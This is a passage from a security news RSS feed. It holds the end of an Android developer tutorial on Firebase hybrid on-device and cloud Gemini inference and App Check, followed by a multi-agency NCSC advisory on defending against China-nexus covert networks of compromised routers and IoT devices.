val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)</code></pre>

<p>The Hybrid Inference API supports four distinct routing modes:</p>
<ul>
  <li><strong>PREFER_ON_DEVICE:</strong> Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.</li>
  <li><strong>PREFER_IN_CLOUD:</strong> Prioritizes cloud execution and falls back to on-device if the device goes offline.</li>
  <li><strong>ONLY_ON_DEVICE:</strong> Restricts execution strictly to the device.</li>
  <li><strong>ONLY_IN_CLOUD:</strong> Restricts execution strictly to the cloud.</li>
</ul>

<p>Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:</p>

<pre><code>private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}</code></pre>

<h2>Custom hybrid routing: Hotel support chat translation with simulated personas</h2>
<p>The <b>hotel support chat</b> was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.</p>

<pre><code>private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )</code></pre>

<p>Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language. </p><div class="separator"><em><br><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s4112/translation_upscaled.png"><img border="0" data-original-height="2364" data-original-width="4112" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikIB_NnUYK8GnEpI3foNLO2_AQ2lNZhoc9gFB-CjERDjMwrdQ2T45y6jzrJAafi4Jz7eF_SBkXG7csDwpajKctp5yo1hsBjIacIfK3aHvvQjCUu22qZBj7dLl5Q4aGFJRD4hwTlMMNgZD8sIuYpCrRjMmpa5ybXDzi9nkTMZoiJOEn8jLmqBsgTXcVTDY/s1600/translation_upscaled.png"></a></div><div class="separator"><em>Hotel support chat messages are automatically translated to the user’s preferred language </em></div></em></div>

<p>While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:</p>
<ul>
  <li><strong>Language identification:</strong> Using the on-device <a href="https://developers.google.com/ml-kit/language/identification/android">ML Kit Language Identification API</a>, we can detect the incoming message language.</li>
  <li><strong>On-device translation (Gemini Nano):</strong> <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit’s Prompt API</a> lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.</li>
  <li><strong>Cloud translation (Gemini 3 Flash):</strong> For more complex languages, we use Gemini Flash 3 to get a higher quality translation.</li>
</ul>

<pre><code>// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )</code></pre>

<p>When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:</p>

<pre><code>fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" &amp;&amp; sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current -&gt;
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}</code></pre>

<p>In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.</p>

<h2>Securing the AI Pipelines: Firebase App Check</h2>
<p>Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated <a href="https://firebase.google.com/docs/app-check"><b>Firebase App Check</b></a> using both Play Integrity (production) and the local Debug Provider (for local development or emulators).</p>

<p>In the <a href="https://github.com/android/ai-samples/blob/main/jetpacker/android/app/src/main/kotlin/com/example/jetpacker/JetPackerApplication.kt">JetPackerApplication.kt</a> file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:</p>

<pre><code>//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}</code></pre>

<p>When building locally on an emulator, App Check prints a local token secret to logcat:</p>

<p>Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e</p>

<p>Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.</p>

<h2>Conclusion</h2>
<p>By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.</p>

<p>Check out the <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">full source code for Jetpacker on GitHub</a>, and explore the Firebase documentation to get started:</p>
<p><a href="https://firebase.google.com/docs/ai-logic/get-started">Firebase AI Logic Documentation</a><br><a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Firebase Hybrid Inference API</a></p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p>
<p><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html">Part 1</a>:</b> Introduction of the app and a high-level overview.<br><b><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">Part 2</a>: </b>On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html">Part 3 (this post!):</a></b> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><b><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">Part 4:</a> </b>System integration. Integrating with the Android intelligence system using AppFunctions. <br><b>Part 5 (coming soon):</b> In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.</p>

<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p>

<p>All code snippets in this blog post follow the following copyright notice:</p>
<pre><code>Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0</code></pre>]]></content:encoded>
</item>
<item>
<title><![CDATA[Defending Against China-Nexus Covert Networks of Compromised Devices]]></title>
<description><![CDATA[Defending against china-nexus covert networks of compromised devices
executive summary
Defending against China-nexus covert networks of compromised devices 
Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defe...]]></description>
<link>https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693378/sicherheitsluecken/defending-against-china-nexus-covert-networks-of-compromised-devices/</guid>
<pubDate>Sat, 25 Jul 2026 09:10:14 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="SCXW131754345 BCX8">
<div class="OutlineElement Ltr SCXW131754345 BCX8">
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlY-jTD7G0%24">Defending against china-nexus covert networks of compromised devices</a></h2>
<h2><a class="c-button c-button--on-dark" href="https://urldefense.us/v3/__https://www.ncsc.gov.uk/news/executive-summary-defending-against-china-nexus-covert-networks-of-compromised-devices__;!!BClRuOV5cvtbuNI!Cvg8stIR3jHWVZgHhCVvEwbwDXxXIRSprOQ9JtY2YKwxUIGVovuDAu7QrFsfw3sfAVd8-gxEMIpgldwlYzP90Ign%24">executive summary</a></h2>
<h2><strong>Defending against China-nexus covert networks of compromised devices </strong></h2>
<p>Explaining the widespread shift in tactics, techniques and procedures (TTPs) towards networks of compromised infrastructure, and how to defend against it </p>
<h3><strong>Summary</strong></h3>
<p>With support from the UK <a href="https://www.ncsc.gov.uk/information/cyber-league" target="_blank"><u>Cyber League</u></a>, this advisory has been jointly released by the National Cyber Security Centre (NCSC-UK) and international partners: </p>
<ul>
<li>Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Germany Federal Office for the Protection of the Constitution -   Bundesamt für Verfassungsschutz (BfV)</li>
<li>Germany Federal Intelligence Service – Bundesnachrichtendienst (BND)</li>
<li>Germany Federal Office for Information Security - Bundesamt für Sicherheit in der Informationstechnik (BSI)</li>
<li>Japan National Cybersecurity Office (NCO) - 国家サイバー統括室</li>
<li>Netherlands General Intelligence and Security Service - Algemene Inlichtingen- en Veiligheidsdienst (AIVD)</li>
<li>Netherlands Defence Intelligence and Security Service - Militaire Inlichtingen- en Veiligheidsdienst (MIVD)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Spain National Cryptologic Centre – Centro Criptológico Nacional (CCN)</li>
<li>Sweden National Cyber Security Centre - Nationellt cybersäkerhetscenter (NCSC-SE)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>United States National Security Agency (NSA) </li>
</ul>
<p>Its purpose is to provide network defenders with the tools needed to defend against China-nexus cyber actors and their tactic of using large scale networks of compromised devices (covert networks) to route their cyber activity. </p>
<h3><strong>Introduction  </strong></h3>
<p>Over the past few years there has been a major shift in the tactics, techniques and procedures (TTPs) used by China-nexus cyber actors, moving away from the use of individually procured infrastructure, and towards the use of externally provisioned, large-scale networks of compromised devices. </p>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The NCSC believes that the majority of China-nexus threat actors are using these networks (hereafter “covert networks”), that multiple covert networks have been created and are being constantly updated, and that a single covert network could be being used by multiple actors. These networks are mainly made up of compromised Small Office Home Office (SOHO) routers, as well as Internet of Things (IoT) and smart devices. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>Anyone who is a target of China-nexus cyber actors may be impacted by the use of covert networks. They have been <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-warning-about-state-sponsored-cyber-attackers-hiding-on-critical-infrastructure-networks" target="_blank"><u>used by Chinese state-sponsored actors Volt Typhoon</u></a> to pre-position offensive cyber capabilities on critical national infrastructure. The group <a href="https://www.ncsc.gov.uk/news/ncsc-and-partners-issue-advice-to-counter-china-linked-campaign-targeting-thousands-of-devices" target="_blank"><u>Flax Typhoon used a different covert network</u></a> of compromised infrastructure to conduct cyber espionage. </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>The use of covert networks of compromised devices - also known as botnets - to facilitate malicious cyber activity is not new, but China-nexus cyber actors are now using them strategically, and at scale.  </p>
</div>
<div class="OutlineElement Ltr SCXW149482171 BCX8">
<p>This advisory describes the typical makeup of a covert network and what they are being used for. It also includes protective advice for organizations being targeted by cyber activity using a covert network as an access vector.</p>
<h3><strong>Covert Networks </strong></h3>
<p>Covert networks are used to connect across the internet in a low-cost, low-risk, deniable way, disguising the origin and attribution of malicious activity. Actors have been observed using them for each phase of their Cyber Kill Chains, from performing scans as part of reconnaissance, to the delivery of malware, communicating with said malware, and exfiltrating stolen data from a victim. They can also be used for general deniable internet browsing, allowing threat actors to research exploitation techniques, new TTPs, and their victims without attribution. Some covert networks are also used by legitimate customers to browse the internet, making it challenging to attribute malicious activity. </p>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>There is evidence that covert networks used by China-nexus actors are created and maintained by Chinese information security companies. A network known to network defenders as Raptor Train, which in 2024 infected more than 200,000 devices worldwide, was controlled and managed by the Chinese company, Integrity Technology Group. This company was also <a href="https://www.justice.gov/archives/opa/pr/court-authorized-operation-disrupts-worldwide-botnet-used-peoples-republic-china-state" target="_blank"><u>assessed by the FBI</u></a> to be responsible for the computer intrusion activities attributed to China-based hackers known as Flax Typhoon. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<blockquote>
<p><strong>Botnet operations represent a significant threat to the UK by exploiting vulnerabilities in everyday internet-connected devices with the potential to carry out large-scale cyber attacks – NCSC Director of Operations, Paul Chichester </strong></p>
</blockquote>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>Covert networks mostly consist of compromised SOHO routers, but they also pull in any vulnerable device they can exploit at scale. Raptor Train was made up of thousands of SOHO routers and IoT devices, such as web cameras and video recorders, as well as firewalls and Network Attached Storage (NAS) devices. The KV Botnet used by Volt Typhoon <a href="https://www.justice.gov/archives/opa/pr/us-government-disrupts-botnet-peoples-republic-china-used-conceal-hacking-critical" target="_blank"><u>was mainly made up of vulnerable Cisco and NetGear routers</u></a>. The edge devices were vulnerable because they were “end of life” – out of date and no longer receiving updates or security patches by their manufacturers. </p>
</div>
<div class="OutlineElement Ltr SCXW53561783 BCX8">
<p>The cyber security industry has been aware of examples of these networks for some time and has publicly reported on the widespread scale of the threat and its implications. Mandiant Intelligence produced a <a href="https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks" target="_blank"><u>public blog in May 2024</u></a> talking about covert networks in which they highlighted a key issue for defenders – indicator of compromise (IOC) Extinction. If a particular threat group could now come from one of many covert networks, each with potentially hundreds of thousands of endpoints, and each used by multiple threat actors, old network defense paradigms of static malicious IP block lists will be less effective. This is compounded by the dynamic nature of these networks where new nodes will be added as old devices are patched or removed from use. </p>
<h3><strong>Typical Network Topology</strong></h3>
<p>The number of covert networks used by China-nexus cyber actors is large, with new networks regularly developed and deployed. The existing covert networks change too, either because of defensive or legal action, or simply as a result of software updates and new exploits being used to target different technologies for incorporation into the network. </p>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>Because of this, a description of all known covert networks in detail, including how they are constructed and how they communicate, would immediately be out of date – and for most network defenders would not be practically useful. </p>
</div>
<div class="OutlineElement Ltr SCXW21942648 BCX8">
<p>However, most covert networks of compromised devices use the same basic set up. Understanding this generalized structure can aid researchers and defenders by helping them to understand which part of a network they may have found, and how to defend against it. </p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-04/A%20diagram%20illustrating%20the%20basic%20setup%20of%20a%20covert%20network..png?itok=3Bfm4nKj" width="1024" height="877" alt="A diagram illustrating the basic setup of a covert network.">



</div>
      <figcaption class="c-figure__caption">A diagram illustrating the basic setup of a covert network.</figcaption>
  </figure>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The diagram above illustrates the basic setup of a covert network, where typically an actor will connect to the network via an on-ramp or entry node. Their traffic will be forwarded through multiple compromised devices, used as traversal nodes, before exiting the network from an exit node, usually in the same geographic region as the target. </p>
<h3><strong>Protective Advice </strong></h3>
<p>Defending from attackers using covert networks is not straightforward, and defensive tactics will be different based on the levels of resource and the nature of the target organization. General advice for good cyber security practice should be followed, and some key messages can be found in the appendix of this advisory.  </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The following advice is specifically tailored to steps which can be taken to combat the risk of attacks coming from large, dynamic networks of compromised devices. </p>
</div>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>Further guidance for all organizations facing cyber security threats is available on the NCSC website. </p>
<p><em>This guidance should be considered alongside all applicable laws and regulations of the UK and co-sealing countries relating to the security of networks and data. It will be each organization’s responsibility to ensure compliance with any such laws and regulations. Organizations should note that following the recommended actions set out below will not remove all risks.</em></p>
<h4><strong>All organizations</strong></h4>
<div class="OutlineElement Ltr SCXW75515976 BCX8">
<p>The NCSC recommends the following steps for all affected organizations to either take themselves, or ask their managed service and/or security providers to investigate for them: </p>
<ul>
<li>Map and understand network edge devices, developing a clear understanding of organizational assets and what should be connecting to them.</li>
<li>Baseline normal connections, especially to corporate virtual private networks (VPNs) or other similar services.
<ul>
<li>Would you expect connections from consumer broadband ranges?</li>
</ul>
</li>
<li>Leverage available dynamic threat feeds which include covert network infrastructure.</li>
<li>Implement multifactor authentication for remote connections.</li>
</ul>
<p>Smaller organizations should consider creating and actioning a <a href="https://cybertoolkit.service.ncsc.gov.uk/" target="_blank"><u>free NCSC Cyber Action Toolkit</u></a>. </p>
<h4><strong>Larger or more at-risk organizations</strong></h4>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Some more comprehensive measures may be appropriate if the risk to an organization is high enough, to be conducted either in-house or through a security provider:  </p>
<ul>
<li>Apply IP address allow lists rather than deny lists for connections to corporate VPNs for remote workers.</li>
<li>Use geographic allow lists or profile incoming connections based on operating system, time zones, and/or organization specific system configuration settings.</li>
<li>Implement zero trust policies for connections.</li>
<li>Enforce machine certificates for Secure Sockets Layer (SSL) connections.</li>
<li>Reduce the internet-facing presence of the IT estate.</li>
<li>Investigate machine learning techniques to profile normal network edge activity to detect and block anomalies. </li>
</ul>
<p><a href="https://www.ncsc.gov.uk/cyberessentials/overview" target="_blank"><u>The NCSC's Cyber Essentials</u></a> can help protect organizations of all sizes. </p>
<h4><strong>Largest or most at-risk organizations</strong> </h4>
<p>If Advanced Persistent Threat (APT) tracking is part of an organization’s in-house capability, or if it is part of the service provided by a security vendor, consider tracking China-nexus covert networks as APTs in their own right.</p>
<ul>
<li>Active hunting – look for connections from IP addresses likely to be part of a covert network of compromised devices, for instance those hosting SOHO routers or IoT devices.</li>
<li>Track and map covert networks reported by industry or government by looking at banners and certificates.</li>
<li>Use threat reporting and threat feeds to create and implement dynamic blocklists and create alert rules to detect incoming threats.</li>
<li>Consider using NetFlow feeds to look upstream and map covert networks to find new nodes. </li>
</ul>
<p>The <a href="https://www.ncsc.gov.uk/collection/cyber-assessment-framework" target="_blank"><u>NCSC Cyber Assessment Framework</u></a> provides guidance for organizations under the highest levels of threat, including those operating essential services, in sectors such as energy, healthcare, transport, digital infrastructure and government.  </p>
<h3><strong>MITRE ATT&amp;CK® </strong></h3>
<p>This advisory has been compiled with respect to the MITRE ATT&amp;CK® framework, a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. </p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Tactic </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>ID </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Technique </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p class="text-align-justify"><strong>Procedure </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/005/" target="_blank"><u>T1584.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Botnet </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Botnets are used as core components of covert networks </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1584/008/" target="_blank"><u>T1584.008</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Compromise Infrastructure: Network Devices </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Devices are compromised and added to botnets </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Resource Development </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Virtual private servers (VPS) are used in covert networks, typically as on-ramps </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><strong>Command and Control </strong></p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p><a href="https://attack.mitre.org/versions/v18/techniques/T1090/003/" target="_blank"><u>T1090.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Proxy: Multi-hop Proxy </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Used by China-nexus cyber actors to route traffic </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="SCXW242856196 BCX8">
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<h3> <strong>Appendix: Cyber Security Best Practices </strong></h3>
<p>In addition to the protective advice outlined in this advisory, a number of cyber security best practices will also be useful in defending against the activity described in this advisory. </p>
<ul>
<li><strong>Protect your devices and networks by keeping them up to date</strong>: use the latest supported versions, apply security updates promptly, use antivirus and scan regularly to guard against known malware threats. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software" target="_blank"><u>https://www.ncsc.gov.uk/collection/device-security-guidance/policies-and-settings/antivirus-and-other-security-software</u></a></li>
<li><strong>Prevent and detect lateral movement in your organization’s networks</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a></li>
<li><strong>Implement architectural controls for network segregation</strong>. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/10-steps-network-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/10-steps-network-security</u></a></li>
<li><strong>Set up a security monitoring</strong> <strong>capability</strong> so you are collecting the data that will be needed to analyze network intrusions. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes" target="_blank"><u>https://www.ncsc.gov.uk/guidance/introduction-logging-security-purposes</u></a> and <a href="https://www.ncsc.gov.uk/information/logging-made-easy" target="_blank"><u>https://www.ncsc.gov.uk/information/logging-made-easy</u></a></li>
<li><strong>Use modern systems and software.</strong> These have better security built-in. If you cannot move off out-of-date platforms and applications straight away, there are short term steps you can take to improve your position. See NCSC Guidance:  <a href="https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products" target="_blank"><u>https://www.ncsc.gov.uk/collection/mobile-device-guidance/managing-the-risks-from-obsolete-products</u></a></li>
<li><strong>Restrict intruders' ability to move freely around your systems and networks</strong>. Pay particular attention to potentially vulnerable entry points such as third-party systems with onward access to your core network. During an incident, disable remote access from third-party systems until you are sure they are clean. See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/preventing-lateral-movement" target="_blank"><u>https://www.ncsc.gov.uk/guidance/preventing-lateral-movement</u></a> and <a href="https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security" target="_blank"><u>https://www.ncsc.gov.uk/guidance/assessing-supply-chain-security</u></a><u>.</u></li>
<li><strong>Deploy a host-based intrusion detection system</strong>. A variety of products are available, free and paid-for, to suit different needs and budgets.</li>
<li><strong>Further information</strong>: Invest in preventing malware-based attacks across various scenarios.  See NCSC Guidance: <a href="https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks" target="_blank"><u>https://www.ncsc.gov.uk/guidance/mitigating-malware-and-ransomware-attacks</u></a> </li>
</ul>
<h4><strong>Disclaimer </strong> </h4>
<p>This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about <a href="https://www.ncsc.gov.uk/section/products-services/assured-services" target="_blank"><u>NCSC assured services</u></a>. </p>
</div>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>Refer any FOIA queries to <a href="mailto:ncscinfoleg@ncsc.gov.uk" target="_blank"><u>ncscinfoleg@ncsc.gov.uk</u></a>.  </p>
</div>
<div class="OutlineElement Ltr SCXW242856196 BCX8">
<p>All material is UK Crown Copyright © </p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Who's Winning the AI Wars?]]></title>
<description><![CDATA[Author: TLDR Business - Bewertung: 3005x - Views:61018 Sign up to Brilliant (the first 200 sign ups get 20% off an annual premium subscription): https://brilliant.org/tldruk/

Google used to be the masters of search, but with AI tools beginning to roll out Microsoft's ChatGPT inspired "New Bing" ...]]></description>
<link>https://tsecurity.de/de/3693375/videos/whos-winning-the-ai-wars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693375/videos/whos-winning-the-ai-wars/</guid>
<pubDate>Sat, 25 Jul 2026 09:05:23 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
